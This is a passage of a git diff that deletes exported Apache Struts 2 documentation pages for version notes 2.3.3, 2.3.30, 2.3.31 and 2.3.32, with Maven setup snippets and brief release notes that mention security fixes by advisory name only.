-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.3</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-233.html">Version Notes 2.3.3</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.3</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27843960">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27843960">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27843960">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27843960">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27843960">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27843960">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.3 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-2312.html">Version Notes 2.3.1.2</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-2-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.3&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<p>You can also use Struts Archetype Catalog like below</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/2.3.3/
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.3.3-InternalChanges">Internal Changes</h2>
-
-<ul><li>Upgraded to FreeMarker 2.3.19 to mitigate potential security vulnerability, please check the <a shape="rect" class="external-link" href="http://freemarker.org/docs/versions_2_3_19.html" rel="nofollow">version notes</a></li><li>Added additional exclude parameters to ParameterInterceptor to mitigate possibility of Session / Request tempering by users see <a shape="rect" class="external-link" href="https://issues.apache.org/jira/browse/WW-3631">WW-3631</a> for more details</li><li>O [...]
-
-
-<h3 id="VersionNotes2.3.3-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311041&amp;version=12320642">JIRA Release Notes 2.3.3</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.3-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/IssueNavigator.jspa?mode=hide&amp;requestId=12319760">Struts 2.3.3 DONE</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/IssueNavigator.jspa?mode=hide&amp;requestId=12318399">Struts 2.3.x TODO</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.3-Otherresources">Other resources</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-2330.html b/content/docs/version-notes-2330.html
deleted file mode 100644
index 7d0975b..0000000
--- a/content/docs/version-notes-2330.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.30</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-2330.html">Version Notes 2.3.30</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.30</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=65145407">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=65145407">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=65145407">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=65145407">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=65145407">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=65145407">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.30 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emot [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.30&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.3.30-InternalChanges">Internal Changes</h2><h3 id="VersionNotes2.3.30-Issues">Issues</h3><h4 id="VersionNotes2.3.30-Bug">Bug</h4><ul><li>[<a shape="rect" class="external-link" href="https://issues.apache.org/jira/browse/WW-4641">WW-4641</a>] -&#160;Pre-evaluation of "name" attribute stopped working</li><li>[<a shape="rect" class="external-link" href="https://issues.apache.org/jira/browse/WW-4642">WW-4642</a>] - Unable to retrieve s:hidden field values</l [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-2331.html b/content/docs/version-notes-2331.html
deleted file mode 100644
index 3e8b867..0000000
--- a/content/docs/version-notes-2331.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.31</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-2331.html">Version Notes 2.3.31</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.31</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=65873553">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=65873553">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=65873553">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=65873553">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=65873553">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=65873553">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.31 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emot [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.31&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.3.31-InternalChanges">Internal Changes</h2><ul><li><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)">&#160;Possible path traversal in the Convention plugin&#160;<a shape="rect" href="s2-042.html">S2-042</a></li><li><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confl [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-2332.html b/content/docs/version-notes-2332.html
deleted file mode 100644
index 7b10015..0000000
--- a/content/docs/version-notes-2332.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.32</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-2332.html">Version Notes 2.3.32</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.32</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=68717261">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=68717261">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
